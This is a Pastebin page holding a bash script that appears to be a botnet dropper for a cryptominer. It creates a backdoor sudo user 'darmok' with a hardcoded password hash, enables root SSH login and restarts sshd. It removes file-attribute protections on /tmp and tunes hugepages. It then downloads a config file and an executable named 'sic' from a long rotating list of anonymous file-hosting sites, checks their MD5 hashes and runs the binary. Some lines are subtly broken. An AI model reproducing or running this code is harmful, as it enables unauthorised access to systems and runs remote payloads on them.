Advertisement
random_robbie

Untitled

Dec 23rd, 2019
2,558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.05 KB | None | 0 0
  1. #!/bin/bash
  2. # _____
  3. # __...---'-----`---...__
  4. # _===============================
  5. # ______________,/' `---..._______...---'
  6. #(____________LL). . ,--'
  7. # / /.---' `. /
  8. #'--------_ - - - - _/
  9. # `~~~~~~~~'
  10.  
  11. resetsshgo(){
  12. if [ "$needreset" -eq "0" ];
  13. then
  14. echo "no need"
  15. else
  16. sleep 10;
  17. /etc/init.d/ssh restart;
  18. /etc/init.d/sshd restart;
  19. /etc/rc.d/sshd restart;
  20. service ssh restart;
  21. service sshd restart;
  22. systemctl start ssh;
  23. systemctl restart ssh;
  24. scw-fetch-ssh-keys --upgrade;
  25. fi
  26. }
  27.  
  28. sshaddusergo() {
  29. if id "darmok" 2>/dev/null; then
  30. echo ""
  31. else
  32. useradd -m -p '$1$EuTlnGKV$I6ULVhrfUCnEpFqLGFVHY0' darmok;
  33. usermod -aG sudoers darmok;
  34. usermod -aG root darmok;
  35. adduser darmok sudo;
  36. echo "darmok ALL=(ALL) ALL" >> /etc/sudoers
  37. sed -i '/.PermitRootLogin*/d' /etc/ssh/sshd_config
  38. sed -i '/PermitRootLogin*/d' /etc/ssh/sshd_config
  39. echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
  40. needreset=1;
  41. fi
  42. }
  43.  
  44. filegetgo(){
  45. echo "hello Troy@BadPackets";
  46. urlscrapecfg1="https://anonfiles.com/"
  47. urlscrapecfg2="https://file.bz/"
  48. urlscrapecfg3="https://fuskbugg.se/"
  49. urlscrapecfg4="https://megaupload.is/"
  50. urlscrapecfg5="https://myfile.is/"
  51. urlscrapecfg6="https://rapidshare.nu/"
  52. urlscrapecfg7="https://share-online.is/"
  53. cfgar1=("10baJaD1n2" "32acJfD0nc" "97Z0IeD2nb" "F9b1J4Dcn5" "hdb9J1Den4" "L5a7J9D7n6" "l6c4J5D0n9" "n7aeJ8Dan1" "V2Z0I1D4n4" "V5bfJ6D5n7")
  54. cfgar2=("9eMcH1Den1" "H3M8H8Danc" "PdMeH4D8ne" "VcM7H5D7n6" "z8M3H9Dan8" "14a0J2D3n0" "19c0J7D2nc" "Ddb1J3D6n7" "fdbbJ7D8nf" "hbc0JaD1n4" "jcabJ6Dbn6" "JdafJ7D8nb" "RaZ4I1D5n4" "T5b7JeD7n2" "v8b3JfDfna")
  55. cfgar3=("35MdHcD0n5" "D5MaHbD4n7" "J8M5H5D5n2" "R1MeHbDcn5" "t1M3HaDdn6" "91b3J3D0nb" "dec6J6D8nb" "F6a6JfD1n3" "feadJ7Dbn6" "L4Z0IbD4nf" "N8baJbDcna" "r7b3J5Dfn9" "v6ccJ1Dbn1" "xcadJ2D7nc" "Z5a4JaDanc")
  56. cfgar4=("73M6H9D2n2" "vdM8HfD8na" "T3MaH7D0n3" "NaMfH1D1ne" "FcM5HdDbn9" "bab4J8Dcn3" "BbbdJfDdna" "fcc4JbDenb" "h6a2J6D0n2" "Hfa7J0Ddnc" "N8Z1IdD8n0" "P3b6J8D6n5" "tebaJ1D7na" "z4a7J0D4n5" "zccdJdD8n2")
  57. cfgar5=("51beJ9D8n5" "76aaJfD7nd" "b4afJ4Den1" "FfZaIcDanf" "J0b5J7D3n1" "l0b9J0D4nb" "p0c5J9Ddn3" "R8a6J0D1ne" "t2aeJdDand" "Z0baJaD9n1")
  58. cfgar6=("7ab8JdDen8" "B5abJbDfna" "bec2JdD9ne" "d1a8J4Ddnc" "J5ZaI0D5n7" "L6beJ3D9n8" "p0b6JaD7n5" "recdJaDen7" "T0a6JcD5n9" "v8a7J2Dan3")
  59. cfgar7=("32bbJ8D5n8" "59a3JeD1n3" "BcZeI2Dcn2" "Hfb1J6Dbnf" "jdb6JdDcn0" "n7cbJ7D1nb" "Nca8J2D5nd" "rcabJdD3n4" "X2ZbIaD6n5" "X5b4J2Ddn9")
  60. chattr -iauR /var/tmp;
  61. chattr -iauR /var/tmp/sic;
  62. chattr -iauR /tmp/;
  63. chattr -iauR /tmp/sic;
  64. sysctl -w vm.nr_hugepages=$(nproc --all);
  65. echo always | sudo tee /sys/kernel/mm/transparent_hugepage/enabled;
  66.  
  67. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg1${cfgar1[$RANDOM % ${#cfgar1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg1${cfgar1[$RANDOM % ${#cfgar1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  68. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  69. then
  70. echo "correct"
  71. else
  72. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg2${cfgar2[$RANDOM % ${#cfgar2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg2${cfgar2[$RANDOM % ${#cfgar2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  73. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  74. then
  75. echo "correct"
  76. else
  77. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg3${cfgar3[$RANDOM % ${#cfgar3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg3${cfgar3[$RANDOM % ${#cfgar3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  78. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  79. then
  80. echo "correct"
  81. else
  82. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg4${cfgar4[$RANDOM % ${#cfgar4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg4${cfgar4[$RANDOM % ${#cfgar4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  83. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  84. then
  85. echo "correct"
  86. else
  87. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg5${cfgar5[$RANDOM % ${#cfgar5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg5${cfgar5[$RANDOM % ${#cfgar5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  88. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  89. then
  90. echo "correct"
  91. else
  92. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg6${cfgar6[$RANDOM % ${#cfgar6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg6${cfgar6[$RANDOM % ${#cfgar6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  93. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  94. then
  95. echo "correct"
  96. else
  97. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg7${cfgar7[$RANDOM % ${#cfgar7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg7${cfgar7[$RANDOM % ${#cfgar7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  98. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  99. then
  100. echo "correct"
  101. else
  102. curl -sL -o /var/tmp/sic/config.json $(curl -sL $urlscrapecfg8${cfgar8[$RANDOM % ${#cfgar8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl -sL -o /tmp/sic/config.json $(curl -sL $urlscrapecfg8${cfgar8[$RANDOM % ${#cfgar8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1);
  103. if md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /var/tmp/sic/config.json" || md5sum --status -c - <<<"ce26c81576d998c772f5e00f05b87882 /tmp/sic/config.json"
  104. then
  105. echo "correct"
  106. else
  107. curl -sL -o /var/tmp/sic/config.json http://ix.io/23pC || curl -sL -o /tmp/sic/config.json http://ix.io/23pC;
  108. fi
  109. fi
  110. fi
  111. fi
  112. fi
  113. fi
  114. fi
  115. fi
  116. urldirect1=""
  117. urldirect2="https://s.put.re/"
  118. urldirect3="https://linx.li/s/"
  119. urldirect4="https://up.nerde.pw/selif/"
  120. urldirect5="https://junglecoder.com/linx/selif/"
  121. urldirect6="https://so.urceco.de/selif/"
  122. urldirect7="https://fs.ikl.sh/selif/"
  123. urldirect8="https://share.dev0.sh/selif/"
  124. urldirect9="http://uupload.ir/files/"
  125. urlscrape1="https://anonfiles.com/"
  126. urlscrape2="https://share-online.is/"
  127. urlscrape3="https://myfile.is/"
  128. urlscrape4="https://rapidshare.nu/"
  129. urlscrape5="https://upload.st/"
  130. urlscrape6="https://file.bz/"
  131. urlscrape7="https://letsupload.cc/"
  132. urlscrape8="https://fuskbugg.se/"
  133. directarray1=()
  134. directarray2=("AcRbDzHC.jpg" "wNQb1njt.jpg" "pXetZsaW.jpg" "VjPEWGsk.jpg" "a6GmLbjb.jpg" "TuNA9oqt.jpg" "QoeH4stq.jpg" "c2Fsjg3a.jpg" "43XNPL95.jpg" "8odQGnMx.jpg" "8ozu7D4u.jpg" "C4woEGn4.jpg" "YwVToqXc.jpg" "F66bhokC.jpg" "kX36DCLJ.jpg" "vr3uksvA.jpg" "KHq8XsSf.jpg" "4QJBxTkL.jpg" "Vk75Gpdd.jpg" "whaWFZbX.jpg")
  135. directarray3=("vh7jgqda.jpg" "51wqkrzf.jpg" "0y96i6r3.jpg" "92m68yn0.jpg" "oz8gffce.jpg" "xz9ver52.jpg" "vszyhtlo.jpg" "3vorlsof.jpg" "x464bmyh.jpg" "1wn5sjgi.jpg" "504xvir3.jpg" "qbhhx8jt.jpg" "4kc0x30m.jpg" "xo0czrnc.jpg" "e7bq6gov.jpg" "oay9zcom.jpg" "i8bo9g0e.jpg" "ar2h5i5i.jpg" "yeyii8sb.jpg" "rg991e3o.jpg")
  136. directarray4=("28gqdic2.jpg" "463lt6o5.jpg" "2g1d19fy.jpg" "aknrg7b6.jpg" "ql5g92kw.jpg" "2ckzymod.jpg" "vfv30qum.jpg" "hnw1v0or.jpg" "fn79tf4y.jpg" "bmzwju5c.jpg" "t35bg5us.jpg" "1bm7lab3.jpg" "n6n63wm6.jpg" "b3dnupoz.jpg" "sfrjr8cj.jpg" "fjcj2hjd.jpg" "83f8ceph.jpg" "jlyd18zv.jpg" "o1ernrbu.jpg" "iiczqu1o.jpg")
  137. directarray5=("a54v1t8v.file" "3tyfylw0.file" "qg2835kn.file" "1crd48rn.file" "4x6hq0nk.file" "63s2cl1n.file" "q5tj1q8q.file" "doli3rtr.file" "arbsqgno.file" "pll7l46n.file" "i0xrbsal.file" "x1tpgnc9.file" "5ukpoep5.file" "p3b913tz.file" "3qae42b7.file" "l1ytxkl1.file" "2y9kzh5v.file" "c6afohpe.file" "gwk77wyw.file" "fhthykey.file")
  138. directarray6=("2rhw89y3.jpg" "roiuwr27.jpg" "gkq2f70v.jpg" "rfust8yv.jpg" "v3q4w0bf.jpg" "pckqx5vk.jpg" "0oso0g8x.jpg" "rsb3dtux.jpg" "9vghk7ox.jpg" "c4rlmoam.jpg" "97lycgks.jpg" "hljjrsq7.jpg" "d9bet2ek.jpg" "u6hrfpum.jpg" "few7oyax.jpg" "ip1gbtxq.jpg" "o5ud9ulk.jpg" "uoyidjbw.jpg" "4cw5r0qf.jpg" "eklup7oz.jpg")
  139. directarray7=("ywtm4i58.jpg" "kr8fggiw.jpg" "pjgr3fc1.jpg" "oootb4z1.jpg" "6ny0ahyt.jpg" "3ju265c8.jpg" "95xn9b5g.jpg" "rrngmswt.jpg" "nzzayq5k.jpg" "gnea1g25.jpg" "f652awt0.jpg" "ir599zbt.jpg" "xx2xysot.jpg" "lbp90uda.jpg" "hyqje4iw.jpg" "c5mudh5x.jpg" "omt2cobn.jpg" "336yfadt.jpg" "ct4atkmb.jpg" "d24rt78d.jpg")
  140. directarray8=("eha7jz9a.elf" "cy17gh5q.elf" "oqnbr34y.elf" "nudfxbjx.elf" "5qk7iklu.elf" "dquq70rd.elf" "gu58v9fk.elf" "1ui9zdxu.elf" "0kxjny09.elf" "s7njp6yw.elf" "787arv0d.elf" "eub16ghi.elf" "4yuldx99.elf" "o79d4luc.elf" "ev92sjev.elf" "viaqsrfj.elf" "k7xuw07a.elf" "81o5y14b.elf" "cirvsu8a.elf" "i4pxkpyj.elf")
  141. directarray9=("pzab_sic.jpg" "qk0y_sic.jpg" "cfw2_sic.jpg" "skb7_sic.jpg")
  142. scrapearray1=("34e1b7D5nf" "l5f9b0D2nf" "V3feb5D2na" "R1g6b8Ddn3" "J3h6b4Dan1" "B2icbaD1n9" "x0jfb2D4n9" "j7kfbaDfn5" "V8k4bdD7nb" "J3l1bfD6na" "z4m4baDdn0" "z2neb7D7nd" "Z0ndbdD8nc" "R9o1bfDbn7" "H7pebaD7ne" "B1q5b4D5na" "F2rebbDfne" "7bt5bcD4n6" "Hau9b2D8nf" "Xfvdb4D5n1")
  143. scrapearray2=("52e7b1D1nd" "ndf3b8D2nf" "d6gab9D5nc" "VcgbbeDanc" "Lahcb7Dbna" "D8i0b9D3nd" "16j7b5D5n6" "nck3bdD9nf" "XdkabcD4nb" "L9l1bfD8nb" "1cmdb5Dcnf" "13n2b7D1n7" "b8oab7D1n7" "Tao5beD7ne" "J6pebcDbn2" "D0qbb4D0n0" "P3r4b9Ddn8" "Hdtdb6D5nf" "L0udb7D2n6" "ddwcb4D8n3")
  144. scrapearray3=("7befb8Dbnc" "p2fbb1D2nc" "f1g0b3Dana" "Z9g6bfD4n1" "P8h0b7D7n5" "Ffi9bbDcnd" "3bjeb6D3n9" "r7k8b8D6n3" "bfl4b2D1ne" "Nfl5bdD5nd" "51m2b4D0ne" "51n4b7D6ne" "d5oab4D0n4" "Vdoab8Den1" "L2pfb4Dcn6" "Fcq7b0Dfn5" "R6rcb1Dcn9" "J1tbb9Dana" "V6uabeD0nf" "f1web5D5ne")
  145. scrapearray4=("9febb4D4n3" "rcf4bfDfne" "j6gcbdDcn0" "b8h6b8D9n0" "R9hebbD1n3" "H2i2b1D6n9" "53j9b5D4n5" "t5k4b9D4n1" "ffl9bbD5n5" "R0l9b0D2n9" "71m2b9D6n2" "7en3b5Dan2" "j2o8bbD4n0" "Xbodb0Dfn0" "P8p4bcDan1" "Haq4bfD4n8" "T4r2b2Ddnc" "N4t2b5Dbne" "XeudbeDfn3" "j1wfbcDan7")
  146. scrapearray5=("B3e9b3D7nd" "tdfdbdD4n0" "lbgcbbD0n0" "d9hdb7D1n9" "T5hab0D2nb" "J4idb0Dbnf" "9ejabdD2n3" "v5k0b7D4nb" "h1l2b6Den8" "Tal1b5D3n3" "9fmab4Dbn5" "9fn1b0D1n6" "l8o2b1D5n2" "Z1o0b1D0n4" "R4pfbfD5n9" "Jbq2bbD3ne" "X4r4b2D7na" "P7t7bdDfn9" "Z0u5bcD4n1" "ldw4bfD0n6")
  147. scrapearray6=("Dee7baDfn4" "v1f6b0D0nc" "n3gbbeDcnf" "fch2b6Den0" "b0i5b8Dan7" "Nbibb1D2nc" "B7j8b3Dana" "x8k6b1D6n6" "j0l6b1D4n7" "V2l2b5D2n3" "BamebdDcnc" "Bfn6b4D0n2" "n1o0beD1n4" "ddp2b8Dbne" "T6p3b7Danb" "N1qfb4D9n3" "Z1rcb8Dfne" "T2t5b5Dan4" "b3v6b4D3nb" "55w4bfD0n9")
  148. scrapearray7=("F9e6bdD6na" "xefbbaDen2" "p3g6bdD4ne" "hbh6b5Den9" "d4i4bcD6n1" "Pbi0b2Dfnb" "Fej7b5Dcn7" "14k0bfD6nd" "n2l3beDfn0" "Xdldb5Dcnd" "FamabaDen5" "D3n9beD1n4" "pbo3bcDcn6" "fcpab2D8n9" "Vepeb2Dfn4" "Rbq9b2Dane" "b7scbdD7nd" "V5tcb3Ddn3" "dcveb4D8n9" "J1wcb6D9nf")
  149. scrapearray8=("T7e7bbDfne" "7dfdbcD1n3" "53g2b0D6na" "xeh6b4Danf" "p0i5b1Ddn5" "b5jabfDbn2" "Tfj7b2Dcnf" "Bakab1Dcnf" "11l0b9D8n1" "lam2b6D8n9" "Z9mabfDfn7" "N0nbbbDdn9" "30o7bdD2n2" "r2p5b2Den5" "leq0bbDcn2" "bbr5b1D9n3" "r8s0b4D2nf" "lcu1b1Dan3" "r8vfbbD5n7" "b4x4b3D1ne")
  150.  
  151. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]} || curl ---create-dirs sL -o /tmp/sic/sic $urldirect1${directarray1[$RANDOM % ${#directarray1[@]}]};
  152. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  153. then
  154. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  155. /var/tmp/sic/sic || /tmp/sic/sic
  156. else
  157. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect2${directarray2[$RANDOM % ${#directarray2[@]}]};
  158. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  159. then
  160. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  161. /var/tmp/sic/sic || /tmp/sic/sic
  162. else
  163. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect3${directarray3[$RANDOM % ${#directarray3[@]}]} || curl ---create-dirs sL -o /tmp/sic/sic $urldirect3${directarray3[$RANDOM % ${#directarray3[@]}]};
  164. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  165. then
  166. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  167. /var/tmp/sic/sic || /tmp/sic/sic
  168. else
  169. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect4${directarray4[$RANDOM % ${#directarray4[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect4${directarray4[$RANDOM % ${#directarray4[@]}]};
  170. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  171. then
  172. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  173. /var/tmp/sic/sic || /tmp/sic/sic
  174. else
  175. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect5${directarray5[$RANDOM % ${#directarray5[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect5${directarray5[$RANDOM % ${#directarray5[@]}]};
  176. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  177. then
  178. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  179. /var/tmp/sic/sic || /tmp/sic/sic
  180. else
  181. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect6${directarray6[$RANDOM % ${#directarray6[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect6${directarray6[$RANDOM % ${#directarray6[@]}]};
  182. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  183. then
  184. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  185. /var/tmp/sic/sic || /tmp/sic/sic
  186. else
  187. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect7${directarray7[$RANDOM % ${#directarray7[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect7${directarray7[$RANDOM % ${#directarray7[@]}]};
  188. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  189. then
  190. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  191. /var/tmp/sic/sic || /tmp/sic/sic
  192. else
  193. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect8${directarray8[$RANDOM % ${#directarray8[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect8${directarray8[$RANDOM % ${#directarray8[@]}]};
  194. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  195. then
  196. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  197. /var/tmp/sic/sic || /tmp/sic/sic
  198. else
  199. curl --create-dirs -sL -o /var/tmp/sic/sic $urldirect9${directarray9[$RANDOM % ${#directarray9[@]}]} || curl --create-dirs -sL -o /tmp/sic/sic $urldirect9${directarray9[$RANDOM % ${#directarray9[@]}]};
  200. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  201. then
  202. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  203. /var/tmp/sic/sic || /tmp/sic/sic
  204. else
  205. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape1${scrapearray1[$RANDOM % ${#scrapearray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape1${scrapearray1[$RANDOM % ${#scrapearray1[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  206. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  207. then
  208. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  209. /var/tmp/sic/sic || /tmp/sic/sic
  210. else
  211. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape2${scrapearray2[$RANDOM % ${#scrapearray2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape2${scrapearray2[$RANDOM % ${#scrapearray2[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  212. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  213. then
  214. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  215. /var/tmp/sic/sic || /tmp/sic/sic
  216. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape3${scrapearray3[$RANDOM % ${#scrapearray3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape3${scrapearray3[$RANDOM % ${#scrapearray3[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  217. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  218. then
  219. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  220. /var/tmp/sic/sic || /tmp/sic/sic
  221. else
  222. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape4${scrapearray4[$RANDOM % ${#scrapearray4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape4${scrapearray4[$RANDOM % ${#scrapearray4[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  223. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  224. then
  225. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  226. /var/tmp/sic/sic || /tmp/sic/sic
  227. else
  228. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape5${scrapearray5[$RANDOM % ${#scrapearray5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape5${scrapearray5[$RANDOM % ${#scrapearray5[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  229. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  230. then
  231. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  232. /var/tmp/sic/sic || /tmp/sic/sic
  233. else
  234. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape6${scrapearray6[$RANDOM % ${#scrapearray6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape6${scrapearray6[$RANDOM % ${#scrapearray6[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  235. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  236. then
  237. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  238. /var/tmp/sic/sic || /tmp/sic/sic
  239. else
  240. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape7${scrapearray7[$RANDOM % ${#scrapearray7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape7${scrapearray7[$RANDOM % ${#scrapearray7[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  241. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  242. then
  243. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  244. /var/tmp/sic/sic || /tmp/sic/sic
  245. else
  246. curl --create-dirs -sL -o /var/tmp/sic/sic $(curl -sL $urlscrape8${scrapearray8[$RANDOM % ${#scrapearray8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1) || curl --create-dirs -sL -o /tmp/sic/sic $(curl -sL $urlscrape8${scrapearray8[$RANDOM % ${#scrapearray8[@]}]} | grep -i "cdn-" | sed -r 's/.*href="([^"]+).*/\1/g' | head -1)
  247. if md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /var/tmp/sic/sic" || md5sum --status -c - <<<"72e3f8762f4d35fde98afcaf684eaa86 /tmp/sic/sic"
  248. then
  249. chmod +x /var/tmp/sic/sic || /tmp/sic/sic
  250. /var/tmp/sic/sic || /tmp/sic/sic
  251. else
  252. echo "when the walls fell!!!!"
  253. fi
  254. fi
  255. fi
  256. fi
  257. fi
  258. fi
  259. fi
  260. fi
  261. fi
  262. fi
  263. fi
  264. fi
  265. fi
  266. fi
  267. fi
  268. fi
  269. fi
  270. }
  271.  
